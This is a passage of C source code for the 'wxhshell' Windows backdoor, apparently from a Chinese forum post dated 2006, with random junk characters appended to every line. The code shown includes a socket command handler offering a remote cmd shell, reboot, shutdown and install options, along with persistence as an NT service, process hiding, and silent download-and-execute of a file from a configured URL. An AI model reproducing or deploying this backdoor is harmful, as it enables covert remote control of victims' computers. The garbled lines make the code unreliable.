      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >;}q  
    break; 2J5RZg9jL  
  } B8sc;Z.  
  // 安装 B%Vz -t  
  case 'i': { N);2 2-  
    if(Install()) N|53|H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xvx+a0 A  
    else / >q?H)6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1so9w89  
    break; ;+-Dg3  
    } sF+Bu'9A  
  // 卸载 b6y/o48  
  case 'r': { y2:~_MD  
    if(Uninstall()) "{F e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E|K~WO]>o  
    else DcL;7IT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); suP/I?4'@  
    break; u^Sa{Jk=  
    } qe{:9  
  // 显示 wxhshell 所在路径 |}Wm,J  
  case 'p': { B(TE?[ #  
    char svExeFile[MAX_PATH]; # 2qDn^s  
    strcpy(svExeFile,"\n\r"); oYn|>`+6:y  
      strcat(svExeFile,ExeFile); py8)e7gX=  
        send(wsh,svExeFile,strlen(svExeFile),0); ZN `D!e6  
    break; 9C_Vb39::$  
    } ;#jE??E/:  
  // 重启 {i09e1  
  case 'b': { Q"+)xj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [x\?._>  
    if(Boot(REBOOT)) ,KyG^;Riy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  wq@{85  
    else { _)U[c;^6  
    closesocket(wsh); U&}v1wdZ3  
    ExitThread(0); zF-R$_]av  
    } U.,_zEbx,  
    break; 6< T@\E  
    } y/(60H,{{  
  // 关机 ;VI/iwg  
  case 'd': { mufJ@YS#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `: R7j f  
    if(Boot(SHUTDOWN)) 7I0[Ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>t,B%v  
    else { )E hR qX9  
    closesocket(wsh); ZP}NFh%,u  
    ExitThread(0); "f5neW  
    } n B .?=eUa  
    break; <bbC &O\  
    } z +NwGVk3  
  // 获取shell jf WZLb)  
  case 's': { ;[,r./XmH  
    CmdShell(wsh); ,K>q{H^  
    closesocket(wsh); 4[o/p8*/  
    ExitThread(0); cU  
    break; c?H@HoF  
  } e#/SFI0m  
  // 退出 (n+FEE<  
  case 'x': { @3_[NI%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jMV9r-{*+  
    CloseIt(wsh); -Y=o  
    break; Qf:#{~/  
    } 9iy3 dy^  
  // 离开 yy(.|  
  case 'q': { a2!;$B%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |_GESpoHH  
    closesocket(wsh); fp`k1Uq@  
    WSACleanup(); XJI ff$K  
    exit(1); h:3^FV&#  
    break; }F<=  
        } ]aN]Ha  
  } ~( ~ y=M  
  } WPpS?  
_ \LP P_  
  // 提示信息 cq#=Vb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &]_2tN=S$  
} lv=rL  
  } =(cfo_B@K  
?[z@R4at  
  return; %m5&Y01  
} r 1x2)  
7~2c"WE  
// shell模块句柄 E-?@9!2 &  
int CmdShell(SOCKET sock) ~qu}<u)P  
{ /ho7O/aAa  
STARTUPINFO si; (ibj~g?U,  
ZeroMemory(&si,sizeof(si)); ]r\d 5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gj ka %  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! 0DOj["  
PROCESS_INFORMATION ProcessInfo; 4Y `=`{Q  
char cmdline[]="cmd"; WLkfo6Nw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `vc?*"  
  return 0; sb"h:i>O4  
} kmZ  U;Z  
+F@ZVMp  
// 自身启动模式 aP}30E*Y  
int StartFromService(void) 59X'-fg,  
{ Y0Bd[  
typedef struct RJ0:O   
{ f~ -qjEWm  
  DWORD ExitStatus; .;,` bH0  
  DWORD PebBaseAddress; g* DBW,  
  DWORD AffinityMask; N`xXH  
  DWORD BasePriority; 1kdQh&~G  
  ULONG UniqueProcessId; 1h,m  
  ULONG InheritedFromUniqueProcessId; t*dd/a  
}   PROCESS_BASIC_INFORMATION; d: {#Dk#  
U0fr\kM  
PROCNTQSIP NtQueryInformationProcess; z5q(  
c)B <d#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9JBVG~m+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 25wvB@0&  
>uy(N  
  HANDLE             hProcess; ;/s##7qf  
  PROCESS_BASIC_INFORMATION pbi; &wea]./B  
Q35jJQ$<`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #y>q)Ph  
  if(NULL == hInst ) return 0;  \s^4f#  
jk9/EmV*r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cOrFe;8-.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GX,)~Syw*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v~`'!N8  
Qt(4N!j  
  if (!NtQueryInformationProcess) return 0; \_|g}&}6Y  
=}wqo6Bn|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \VAm4   
  if(!hProcess) return 0; ee\xj$,  
"^&Te%x_b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]GH_;  
6 ~.{~+Bd  
  CloseHandle(hProcess); B82SAV/O  
>4iVVs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9~ r YLR(v  
if(hProcess==NULL) return 0; 8L _]_  
dSPye z  
HMODULE hMod; LnlDCbF;!  
char procName[255]; i/{`rv*K[  
unsigned long cbNeeded; ka?EXF:  
KbM1b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u.9syr  
FQqk+P!  
  CloseHandle(hProcess); /j$`Cq3I  
'd |*n#Dqc  
if(strstr(procName,"services")) return 1; // 以服务启动 SEXmVFsQ  
*9)yN[w  
  return 0; // 注册表启动 !v68`l15  
} 07#e{   
r";;Fk#5  
// 主模块 y|2y! &o,!  
int StartWxhshell(LPSTR lpCmdLine) MCO`\"`l  
{ ~Sc{\ZJl  
  SOCKET wsl; G^&P'*  
BOOL val=TRUE; ?CSv;:  
  int port=0; cu )w6!f  
  struct sockaddr_in door; wq = Ef  
.ovG_O  
  if(wscfg.ws_autoins) Install(); "?r_A*U  
>&D}^TMYY  
port=atoi(lpCmdLine); Xcw 6mpLt  
V8-*dE  
if(port<=0) port=wscfg.ws_port; Q~zs]{\  
~Hb2-V  
  WSADATA data; kmur={IR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @;`d\lQ  
"[`/J?W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2!Sl!x+i\'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y"UB\_=  
  door.sin_family = AF_INET; R}T\<6Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X6G2$|  
  door.sin_port = htons(port); }[b3$WZ  
D0VbD" y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A40Q~X  
closesocket(wsl); [Nv)37|W  
return 1; g\Akf  
} ..;ep2jSs  
s_4y^w]aX  
  if(listen(wsl,2) == INVALID_SOCKET) { E:ti]$$  
closesocket(wsl); vTq [Xe"  
return 1;  kAnK1W>  
} .~7:o.BE`n  
  Wxhshell(wsl); Rg\D-F6:  
  WSACleanup(); |}D5q| d@n  
0+3{fD/  
return 0; 6)[gF 1  
u}eLf'^ZCe  
} #j4jZBOTM  
?4H>1Wkb  
// 以NT服务方式启动 JN> h:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h)pYV>!d  
{ qt`HP3J&  
DWORD   status = 0; |<!xD iB  
  DWORD   specificError = 0xfffffff; iCNJ%AZ H  
6YF<GF{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nl+8C}=u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,KFF[z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fX{Xw0  
  serviceStatus.dwWin32ExitCode     = 0; e_3($pj  
  serviceStatus.dwServiceSpecificExitCode = 0; 5#B M  
  serviceStatus.dwCheckPoint       = 0; Zr|z!S?aSC  
  serviceStatus.dwWaitHint       = 0; W,bu=2K6  
bTc^ huP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MwTouEGGgA  
  if (hServiceStatusHandle==0) return; P]<15l  
DT[WO_=  
status = GetLastError(); o|Kd\<rY  
  if (status!=NO_ERROR) {VT**o  
{ "] [u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pz ~REsx  
    serviceStatus.dwCheckPoint       = 0; Hd89./v`:  
    serviceStatus.dwWaitHint       = 0; Mt\.?V:  
    serviceStatus.dwWin32ExitCode     = status; `9mc+  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3_N1y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wOn*QO[  
    return; }dpE>  
  } -muP.h/  
(o518fmR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]6@6g>f?  
  serviceStatus.dwCheckPoint       = 0; 35n'sVn  
  serviceStatus.dwWaitHint       = 0; ^a?g~G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U$ Od)  
} PasVfC@  
Eu2(#z 6eW  
// 处理NT服务事件,比如:启动、停止 q]#j,}cN9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j|%>NB ):  
{ lQ!(l Ph  
switch(fdwControl) ~ugH2jiB  
{ Y lhKP;  
case SERVICE_CONTROL_STOP: bA\(oD+:  
  serviceStatus.dwWin32ExitCode = 0; xwa@h}\#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W<T Ui51Y  
  serviceStatus.dwCheckPoint   = 0; >/G[Oo  
  serviceStatus.dwWaitHint     = 0; z C 7b  
  { 7}puj%JS /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tu6<>  
  } <6.?:Jj  
  return; 4P}d/w?'KL  
case SERVICE_CONTROL_PAUSE: y/;DA=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :4[_&]H  
  break; hp$1c  
case SERVICE_CONTROL_CONTINUE: p Cgm!t?/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0y3C />a  
  break; DqA$%b yyE  
case SERVICE_CONTROL_INTERROGATE: FYIz_GTk  
  break; (g0U v.*  
}; *r|Zbxf(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [BKOK7QK|  
} cK\'D  
%|B$y;q^3  
// 标准应用程序主函数 )0zg1z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gf70 O>E  
{ tY%T  
-%TwtO<$']  
// 获取操作系统版本 -q&7q  
OsIsNt=GetOsVer(); X/FRe[R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G6pR?K+  
V)]lca  
  // 从命令行安装 CPcB17!  
  if(strpbrk(lpCmdLine,"iI")) Install(); X3HJ3F;==  
%J+k.UrM  
  // 下载执行文件 8^!ib/@v"  
if(wscfg.ws_downexe) { =\)76xC20  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \?[m%$A  
  WinExec(wscfg.ws_filenam,SW_HIDE); i4lB ]k  
} &n]]OPo  
g=jB'h?  
if(!OsIsNt) { 9qm'qx  
// 如果时win9x,隐藏进程并且设置为注册表启动 }c=YiH,o  
HideProc(); zQoJ8i>  
StartWxhshell(lpCmdLine); 2/ejU,S  
} 5MK.>3fE  
else )}@Z*.HZL  
  if(StartFromService()) +>Pq]{Uf1j  
  // 以服务方式启动 j-zWckT{  
  StartServiceCtrlDispatcher(DispatchTable); 0u bf]Z  
else SK 5__Ix  
  // 普通方式启动 zvwv7JtB  
  StartWxhshell(lpCmdLine); }ISR +./+  
qRXHaQi@9  
return 0; F]cc?r312  
}
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只看该作者 1 发表于: 2006-10-10
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